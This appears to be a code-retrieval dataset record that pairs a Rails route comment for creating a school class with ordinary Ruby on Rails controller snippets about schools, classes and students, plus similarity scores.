respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @undergraduate_major }\n end\n end", "def show\n @school = School.find(params[:id])\n end", "def classrooms_for_school(school)\n classrooms.order(:name).select{|c| c.school == school}\n end", "def update\n respond_to do |format|\n if @school_class.update(school_class_params)\n format.html { redirect_to school_classes_path, notice: 'School class was successfully updated.' }\n format.json { render :show, status: :ok, location: @school_class }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @school_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @school_setups = SchoolSetup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @school_setups }\n end\n end", "def index\n s_id = Allotment.where(user_id: current_user.id).pluck(:school_id)\n @class_mappings = ClassMapping.includes(:standard, :section).where(school_id: s_id)\n standards = Standard.all\n sections = Section.all\n class_mappings = @class_mappings.map do |c|\n { id:c.id, standard: c.standard.name, section: c.section.name, school: s_id}\n end\n render component: 'ClassMappings', props: { class_mappings: class_mappings, standards: standards, sections: sections}\n end", "def create\n s_id = Allotment.where(user_id: current_user.id).pluck(:school_id).first\n standard_id = Standard.where(name: params[:class_mapping][:standard]).pluck(:id).first\n section_id = Section.where(name: params[:class_mapping][:section]).pluck(:id).first\n @classes = ClassMapping.new({:section_id => section_id, :standard_id => standard_id, :school_id => s_id})\n @saved_class = { id:@classes.id, standard: params[:class_mapping][:standard], section: params[:class_mapping][:section], school: s_id}\n if @classes.save\n render :json => @saved_class\n end\n end", "def school\n @school = School.find(params[:id])\n\n\tyear = params[:date][:year]\n\tgrade = params[:grade_name]\n\t\n\tdefault_params = {\n\t\t:date_year => year,\n\t\t:grade_name => grade,\n\t\t:school_id => @school.id\n\t}\n\t\n\t@classroom = Classroom.new(default_params)\n\t@staff = Staff.new(default_params)\n\t\n\t@classrooms = @school.classrooms.find_all_by_date_year_and_grade_name(year, grade)\n\t@staff_members = @school.teachers.find_all_by_date_year_and_grade_name(year, grade)\n end", "def create\n @classes = SchoolClass.all\n @class = SchoolClass.new(class_params)\n add_breadcrumb \"School Classes\", classes_url\n add_breadcrumb \"New Class\"\n # respond_to do |format|\n if @class.save\n respond_to do |format|\n format.html { redirect_to classes_url }\n flash[:notice] = \"Class was successfully created.\"\n format.json { head :no_content }\n format.js { render :layout => false }\n end\n # format.html { redirect_to classes_url, notice: 'School Class was successfully created.' }\n # format.json { render :show, status: :created, location: @class }\n else\n respond_to do |format|\n format.html { render :new }\n flash[:alert] = @class.errors.full_messages.to_sentence\n # format.json { render json: @class.errors, status: :unprocessable_entity }\n format.json { head :no_content }\n format.js { render :layout => false }\n end\n # end\n end\n end", "def show\n @citizenship_class = @grantee.citizenship_classes.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @citizenship_class }\n end\n end", "def update\n @school_class = SchoolClass.find(params[:id])\n\n respond_to do |format|\n if @school_class.update_attributes(params[:school_class])\n format.html { redirect_to school_classes_url, notice: 'Class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @school_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @student_classes = StudentClass.all\n end", "def show\n @school = School.find(params[:id])\n @owner = User.find(@school.owned_by)\n \n @json = @school.to_gmaps4rails\n\n @school_types = [ \"District\", \"Charter\", \"Private\", \"Other\" ]\n @grades = [ \"Pre-K\", \"Elementary\", \"Middle\", \"High School\", \"Adult School\", \"Other\", \"K-6\", \"K-8\", \"6-12\", \"K-12\" ]\n @calendar = [ \"Year-round\", \"Track\", \"Semester\", \"Traditional\" ]\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @school }\n end\n end", "def show\n @school = School.find_by(id: params[:id])\n end", "def show\n @class = Classe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @class }\n end\n end", "def show\n @school_rating = SchoolRating.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @school_rating }\n end\n end", "def show\n @student_major = StudentMajor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_major }\n end\n end", "def update\n @schoolclass = Schoolclass.find(params[:id])\n\n respond_to do |format|\n if @schoolclass.update_attributes(params[:schoolclass])\n format.html { redirect_to @schoolclass, notice: 'Schoolclass was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schoolclass.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @school_class.destroy\n respond_to do |format|\n format.html { redirect_to school_classes_url, notice: 'School class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @school_class.destroy\n respond_to do |format|\n format.html { redirect_to school_classes_url, notice: 'School class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def show\n @classroom = classroom.find(params[:id])\n\n render json: @classroom\n end", "def show\n\t\trecords = University.where(['name LIKE ?', \"#{params[:name]}%\"])\n\t\tschools = Array.new\n\n\t\trecords.each do |record|\n\t\t\tcents_rating = RatesSchool.find_by_sql [\n\t\t\t\t'SELECT avg(rating) AS average\n\t\t\t\tFROM rates_schools\n\t\t\t\tWHERE university_id = ?',\n\t\t\t\trecord.id\n\t\t\t]\n\t\t\trecord = record.as_json\n\t\t\trecord[:average_rating] = cents_rating[0][:average].to_f\n\t\t\tschools << record.except('id', 'created_at', 'updated_at')\n\t\tend\n\n\t\tif schools.present?\n\t\t\treturn render json: schools, status: 200\n\t\telse\n\t\t\treturn render json: [], status: 404\n\t\tend\n\tend", "def index\n @school_info = SchoolInfo.first\n end", "def show\n \n if params.has_key?(:discipline_class_id)\n @discipline_class = DisciplineClass.find(params[:discipline_class_id])\n end\n if params.has_key?(:registration_id)\n @registration = Registration.find(params[:registration_id])\n end \n \n @registration_class = RegistrationClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @registration_class }\n end\n end", "def index\n @classessections = Classessection.all\n end", "def new\n @student = Student.find(params[:student_id])\n @inschool = @student.inschools.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inschool }\n end\n end", "def show\n @districtclass = Districtclass.find(params[:id])\n @districts = @districtclass.districts.all(:order => 'district_name')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @districtclass }\n end\n end", "def destroy\n @school_class.destroy\n respond_to do |format|\n format.html { redirect_to my_schools_path }\n format.json { head :no_content }\n end\n end", "def index\n # logger.info \"☻ request query parameters: #{request.query_parameters}\"\n\n # logger.info \"--> #{request.fullpath}\"\n # logger.info \"--> GITHUB_KEY: #{ENV['GITHUB_KEY']}\"\n # logger.info \"--> GITHUB_SECRET: #{ENV['GITHUB_SECRET']}\"\n\n class_name = params[:class_name] || \"unknown\"\n year = params[:year] || \"2011\"\n semester = params[:semester] || \"summer\"\n\n if params[:class_name]\n @students = Student.where(class_name: class_name, year: year, semester: semester)\n else\n @students = Student.where(year: 2011, semester: \"summer\", class_name: \"unallocated\")\n end\n\n # @students = Student.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @students }\n end\n end", "def index\n @schools = School.all\n end", "def index\n @schools = School.all\n end", "def index\n @schools = School.all\n end", "def index\n @schools = School.all\n end", "def index\n @schools = School.all\n end", "def index\n @schools = School.all\n end", "def index\n @schools = School.all\n end", "def new\n @school = School.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @school }\n end\n end", "def new\n @school = School.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @school }\n end\n end", "def class_json\n clazz = @offering.clazz\n section = clazz.section && clazz.section.length > 0 ? clazz.section : nil\n section = section ? \" (#{section})\" : \"\"\n {\n name: clazz.name + section,\n students: @students\n .sort_by { |s| \"#{s.last_name} #{s.first_name}\".downcase }\n .map { |s| student_json(s) }\n }\n end", "def create\n @classtable = Classtable.new(params[:classtable])\n\t#@classtable.school_id = current_school_id\n\t@classtable.school_id = $current_school_id\n respond_to do |format|\n if @classtable.save\n format.html { redirect_to @classtable, notice: 'Classtable was successfully created.' }\n format.json { render json: @classtable, status: :created, location: @classtable }\n else\n format.html { render action: \"new\" }\n format.json { render json: @classtable.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @citizenship_classes = @grantee.citizenship_classes.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @citizenship_classes }\n end\n end", "def index\n @school_class = SchoolClass.find(params[:school_class_id])\n @day_templates = @school_class.day_templates.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @day_templates }\n end\n end", "def index\n @schools = Admin::School.all\n end", "def show\n @discipline_class_exam_type = DisciplineClassExamType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @discipline_class_exam_type }\n end\n end", "def index\n @s_classes = SClass.all\n end", "def show\n @class_taken = ClassTaken.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @class_taken }\n end\n end", "def get_class_schools\n ret=[]\n self.teachings.to_a.each do |teaching|\n ret<< teaching.teaching_class_school\n end\n #puts \"========================== teacher.get_class_schools: #{ret.count}\"\n ret\n end", "def get_students\n @course = Course.find(params[:course_id])\n\n render json: @course.students\n end", "def show\n @college = College.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @college }\n end\n end", "def index\r\n @schools = School.all\r\n\r\n end", "def index\n @schools = School.all\n end", "def index\n @education_classes = EducationClass.all\n end", "def index\n if @admin_school.present?\n @admin_classrooms = @admin_school.classrooms.all\n else\n @admin_classrooms = Admin::Classroom.all\n end\n end", "def new\n @school_setup = SchoolSetup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @school_setup }\n end\n end", "def index\n @parents = Parent.find_all_by_class_code(params[:course_id])\n @parents = Parent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @parents }\n end\n end", "def students_for_grade_level_next_year_json\n params.require(:workspace_id)\n params.require(:school_id)\n params.require(:grade_level_next_year)\n school_id = params[:school_id].to_i\n grade_level_next_year = params[:grade_level_next_year]\n\n # Check authorization by grade level, differently than normal.\n students = queries.authorized_students_for_next_year(school_id, grade_level_next_year)\n students_json = ClassListQueries.students_as_json(students)\n\n # educator names\n educators_json = Educator.where(school_id: school_id).as_json(only: [:id, :full_name])\n\n render json: {\n students: students_json,\n educators: educators_json,\n current_educator_id: current_educator.id\n }\n end", "def show\n @school = School.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @school }\n end\n end", "def update\n respond_to do |format|\n if @school_class.update(school_class_params)\n format.html { redirect_to my_schools_path, notice: 'School class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @school_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @classwork = Classwork.find(params[:id])\n \n drop_breadcrumb(@classwork.name, admin_classwork_path(@classwork))\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @classwork }\n end\n end", "def index\n @code_club_schools = CodeClubSchool.all\n end", "def index\n @school_classes = SchoolClass.order(created_at: :desc)\n end", "def show\n @study_course = StudyCourse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @study_course }\n end\n end", "def show\n @classroom = @course.classrooms.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @classroom }\n end\n end", "def show\n teacher = Teacher.find(params[:id])\n render json: {status: 'SUCCESS', message: 'Loaded teacher', data: teacher}, include:'school', status: :ok\n end", "def index\n @cms_schools = Cms::School.all\n end", "def new\n @school_class = SchoolClass.new\n end", "def index\n @classcourses = Classcourse.all\n end", "def show\n if params[:teacher_id]\n @school = Teacher.find(params[:teacher_id]).school\n else\n @school = School.find(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @school }\n end\n end", "def index\n @classrooms = Classroom.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @classrooms }\n end\n end", "def show\n @title = \"View Team Challenge Score\"\n @challenge_grade = ChallengeGrade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @challenge_grade }\n end\n end", "def show_school\n\t\tschool = params[:id]\n\tend", "def index\n @high_schools = HighSchool.all\n end", "def index\n @high_schools = HighSchool.all\n end", "def index\n @district = District.find(params[:district_id])\n @schools = @district.schools\n end", "def show\n @student_sub_course = StudentSubCourse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_sub_course }\n end\n end", "def show\n @clinicalsection = Clinicalsection.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinicalsection }\n end\n end", "def index\n @undergraduate_majors = UndergraduateMajor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @undergraduate_majors }\n end\n end", "def set_class_section\n @class_section = ClassSection.where('school_id = ?', current_user.school_id).find(params[:id])\n end" ]
[ "0.7824359", "0.7518366", "0.75055057", "0.73523563", "0.7185839", "0.68708754", "0.6861611", "0.6851329", "0.68487114", "0.6650509", "0.6650509", "0.65533996", "0.65050083", "0.64843845", "0.64511657", "0.64191383", "0.641253", "0.6379158", "0.6367003", "0.6359515", "0.6352272", "0.6295167", "0.62633103", "0.6262981", "0.6258296", "0.62572587", "0.6244214", "0.62319237", "0.6231655", "0.61969733", "0.61840236", "0.6179931", "0.61549395", "0.61406016", "0.6134891", "0.6121414", "0.61210096", "0.6119106", "0.6119022", "0.61028755", "0.6095721", "0.6095721", "0.6094358", "0.6089577", "0.6080354", "0.6071863", "0.6045351", "0.60248756", "0.60167646", "0.6013282", "0.6009154", "0.6008488", "0.6008488", "0.6008488", "0.6008488", "0.6008488", "0.6008488", "0.6008488", "0.6004547", "0.6004547", "0.60032123", "0.59921193", "0.5983452", "0.5981953", "0.5976796", "0.5967353", "0.5967045", "0.596659", "0.59567684", "0.59270906", "0.59257144", "0.5904043", "0.5902889", "0.5900803", "0.5896394", "0.5891654", "0.58859956", "0.5875919", "0.58735174", "0.58654624", "0.5864302", "0.58628404", "0.58465874", "0.5841588", "0.5829511", "0.5827913", "0.58241624", "0.58077997", "0.58065706", "0.58009845", "0.5798187", "0.57927126", "0.5785518", "0.5783812", "0.5783812", "0.57798624", "0.5777774", "0.5774692", "0.57737607", "0.5766988" ]
0.78391814
0
GET /schoolclasses/new GET /schoolclasses/new.json
def new @schoolclass = Schoolclass.new respond_to do |format| format.html # new.html.erb format.json { render json: @schoolclass } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @school_class = SchoolClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @school_class }\n end\n end", "def new\n @school_class = SchoolClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @school_class }\n end\n end", "def new\n @school = School.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @school }\n end\n end", "def new\n @school = School.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @school }\n end\n end", "def create\n @schoolclass = Schoolclass.new(params[:schoolclass])\n\n respond_to do |format|\n if @schoolclass.save\n format.html { redirect_to @schoolclass, notice: 'Schoolclass was successfully created.' }\n format.json { render json: @schoolclass, status: :created, location: @schoolclass }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schoolclass.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @school_class = SchoolClass.new\n end", "def create\n @school_class = SchoolClass.new(school_class_params)\n\n respond_to do |format|\n if @school_class.save\n format.html { redirect_to school_classes_path, notice: 'School class was successfully created.' }\n format.json { render :show, status: :created, location: @school_class }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @school_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n s_id = Allotment.where(user_id: current_user.id).pluck(:school_id).first\n standard_id = Standard.where(name: params[:class_mapping][:standard]).pluck(:id).first\n section_id = Section.where(name: params[:class_mapping][:section]).pluck(:id).first\n @classes = ClassMapping.new({:section_id => section_id, :standard_id => standard_id, :school_id => s_id})\n @saved_class = { id:@classes.id, standard: params[:class_mapping][:standard], section: params[:class_mapping][:section], school: s_id}\n if @classes.save\n render :json => @saved_class\n end\n end", "def new\n @classtable = Classtable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classtable }\n end\n end", "def create\n name = params[:school_class][:name]\n level = params[:school_class][:level]\n school_id = current_user.user_info.school_id\n\n @school_class = SchoolClass.new(:name => name, :level => level, :school_id => school_id)\n\n respond_to do |format|\n if @school_class.save \n if params[:save_add_another]\n format.html {redirect_to new_school_class_url, notice: 'Class was successfully created.' }\n else\n format.html {redirect_to school_classes_url, notice: 'Class was successfully created.'}\n end\n #format.html { redirect_to @school_class, notice: 'Class was successfully created.' }\n #format.json { render json: @school_class, status: :created, location: @school_class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @school_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n get_school\n @school_request = @school.requests.new\n end", "def new\n @class = Classe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @class }\n end\n end", "def new\n @classified = Classified.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classified }\n end\n end", "def create\n @classes = SchoolClass.all\n @class = SchoolClass.new(class_params)\n add_breadcrumb \"School Classes\", classes_url\n add_breadcrumb \"New Class\"\n # respond_to do |format|\n if @class.save\n respond_to do |format|\n format.html { redirect_to classes_url }\n flash[:notice] = \"Class was successfully created.\"\n format.json { head :no_content }\n format.js { render :layout => false }\n end\n # format.html { redirect_to classes_url, notice: 'School Class was successfully created.' }\n # format.json { render :show, status: :created, location: @class }\n else\n respond_to do |format|\n format.html { render :new }\n flash[:alert] = @class.errors.full_messages.to_sentence\n # format.json { render json: @class.errors, status: :unprocessable_entity }\n format.json { head :no_content }\n format.js { render :layout => false }\n end\n # end\n end\n end", "def new\n @class_taken = ClassTaken.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @class_taken }\n end\n end", "def new\n @clclass = Clclass.new\n @courses = Course.all\n @teachers = Teacher.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clclass }\n end\n end", "def new\n @undergraduate_major = UndergraduateMajor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @undergraduate_major }\n end\n end", "def create\n @classtable = Classtable.new(params[:classtable])\n\t#@classtable.school_id = current_school_id\n\t@classtable.school_id = $current_school_id\n respond_to do |format|\n if @classtable.save\n format.html { redirect_to @classtable, notice: 'Classtable was successfully created.' }\n format.json { render json: @classtable, status: :created, location: @classtable }\n else\n format.html { render action: \"new\" }\n format.json { render json: @classtable.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @classroom = classroom.new\n\n render json: @classroom\n end", "def new\n @inschool = Inschool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inschool }\n end\n end", "def new\n @school = school.new\n end", "def new\n @school_setup = SchoolSetup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @school_setup }\n end\n end", "def new\n @student = Student.find(params[:student_id])\n @inschool = @student.inschools.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inschool }\n end\n end", "def new\n @citizenship_class = @grantee.citizenship_classes.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @citizenship_class }\n end\n end", "def new\n @student_major = StudentMajor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student_major }\n end\n end", "def new\n @school_day = SchoolDay.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @school_day }\n end\n end", "def new\n @districtclass = Districtclass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @districtclass }\n end\n end", "def new\n @classroom = Classroom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classroom }\n end\n end", "def new\n @classwork = Classwork.new\n \n drop_breadcrumb('新增')\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classwork }\n end\n end", "def new\n @school_rating = SchoolRating.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @school_rating }\n end\n end", "def new\n @class_group_enrollment = ClassGroupEnrollment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @class_group_enrollment }\n end\n end", "def new\n @class_mstr = ClassMstr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @class_mstr }\n end\n end", "def new\n @test_class = TestClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_class }\n end\n end", "def new\n @school = School.new\n end", "def new\n \t@school = School.new\n end", "def new\n @classe = Classe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classe }\n end\n end", "def new\n @class_room = ClassRoom.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @class_room }\n end\n end", "def new\n @risk_classification = RiskClassification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @risk_classification }\n end\n end", "def new\n @school = School.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @school }\n end\n end", "def new\n\n if params.has_key?(:discipline_class_id)\n @discipline_class = DisciplineClass.find(params[:discipline_class_id])\n end\n if params.has_key?(:registration_id)\n @registration = Registration.find(params[:registration_id])\n end\n \n @registration_class = RegistrationClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @registration_class }\n end\n end", "def new\n @myclass = Myclass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @myclass }\n end\n end", "def new\n @iclass = Iclass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @iclass }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @school }\n end\n end", "def create\n @classs = Classs.new(classs_params)\n\n respond_to do |format|\n if @classs.save\n format.html { redirect_to @classs, notice: 'Classs was successfully created.' }\n format.json { render :show, status: :created, location: @classs }\n else\n format.html { render :new }\n format.json { render json: @classs.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @classroom = @course.classrooms.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @classroom }\n end\n end", "def create\n @school = School.new(params[:school])\n\n respond_to do |format|\n if @school.save\n format.html { redirect_to @school, notice: 'School was successfully created.' }\n format.json { render json: @school, status: :created, location: @school }\n else\n format.html { render action: \"new\" }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @major = Major.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @major }\n end\n end", "def create\n @class = Classe.new(params[:class])\n\n respond_to do |format|\n if @class.save\n format.html { redirect_to @class, notice: 'Classe was successfully created.' }\n format.json { render json: @class, status: :created, location: @class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @class.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @student = Student.new\n @possible_classes = Gclass.all.map {|elem| elem.gclass}\n end", "def new\n @certification = Certification.find params[:certification_id]\n @class_request = ClassRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @class_request }\n end\n end", "def create\n @student_class = StudentClass.new(student_class_params)\n\n respond_to do |format|\n if @student_class.save\n format.html { redirect_to @student_class, notice: \"Student class was successfully created.\" }\n format.json { render :show, status: :created, location: @student_class }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @student_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @lookup = Lookup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lookup }\n end\n end", "def create\n @school = School.new(school_params)\n respond_to do |format|\n if @school.save\n format.html { redirect_to schools_path }\n format.json { render :show, status: :created, location: @school }\n else\n format.html { render :new }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @homework = Homework.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @homework }\n end\n end", "def new\n @court = Court.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @court }\n end\n end", "def new\n @user_class = UserClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_class }\n end\n end", "def new\n @grade = Grade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @grade }\n end\n end", "def new\n @courtstation = Courtstation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @courtstation }\n end\n end", "def new\n @study_course = StudyCourse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @study_course }\n end\n end", "def new\n @entity = @klass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end", "def create\n @education_class = EducationClass.new(education_class_params)\n\n respond_to do |format|\n if @education_class.save\n format.html { redirect_to @education_class, notice: 'Education class was successfully created.' }\n format.json { render action: 'show', status: :created, location: @education_class }\n else\n format.html { render action: 'new' }\n format.json { render json: @education_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @studentgrade = Studentgrade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @studentgrade }\n end\n end", "def new\n @course = Course.new\n 1.times { @course.lessons.build }\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @course }\n end\n end", "def new\n @uni_major = UniMajor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @uni_major }\n end\n end", "def new\n @casestudy = Casestudy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @casestudy }\n end\n end", "def new\n @clazz = Clazz.new\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @clazz }\n format.js\n end\n end", "def new\n @county = County.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @county }\n end\n end", "def new\n @school_class = SchoolClass.find(params[:school_class_id])\n @day_template = @school_class.day_templates.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @day_template }\n end\n end", "def new\n @class = Class.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @class }\n end\n end", "def create\n @class_student = ClassStudent.new(class_student_params)\n\n respond_to do |format|\n if @class_student.save\n format.html { redirect_to @class_student, notice: 'Class student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @class_student }\n else\n format.html { render action: 'new' }\n format.json { render json: @class_student.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @court = Court.new\n\n respond_to do |format|\n format.html { render \"new\", :layout=>false}\n format.json { render json: @court }\n end\n end", "def new\n @discipline_class_exam_type = DisciplineClassExamType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @discipline_class_exam_type }\n end\n end", "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @school }\n end\n end", "def create\n @school = School.new(school_params)\n\n if @school.save\n render :show, status: :created, location: @school\n else\n render json: @school.errors, status: :unprocessable_entity\n end\n end", "def new\n @patentcase = Patentcase.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @patentcase }\n end\n end", "def new\n @action = \"new\"\n @registration = Registration.new\n @weight_classes = WeightClass.order(\"age, gender, beginner_elite, weight\").all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @registration }\n end\n end", "def new\n @course_code = CourseCode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course_code }\n end\n end", "def new\n @family = Family.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @family }\n end\n end", "def new\n @training_level = TrainingLevel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @training_level }\n end\n end", "def new\n @construction_style = ConstructionStyle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @construction_style }\n end\n end", "def new\n @schools = School.all\n @teams = Team.all\n @game = Game.new\n end", "def new\n @mostsmallskillcategory = Mostsmallskillcategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mostsmallskillcategory }\n end\n end", "def new\n @klass = Klass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @klass }\n end\n end", "def new\n get_school\n get_vocational\n @school_vocational = @school.vocationals.new\n end", "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "def show\n @school_class = SchoolClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @school_class }\n end\n end", "def show\n @schoolclass = Schoolclass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @schoolclass }\n end\n end", "def create\n @clclass = Clclass.new(params[:clclass])\n\n respond_to do |format|\n if @clclass.save\n format.html { redirect_to @clclass, notice: 'Clclass was successfully 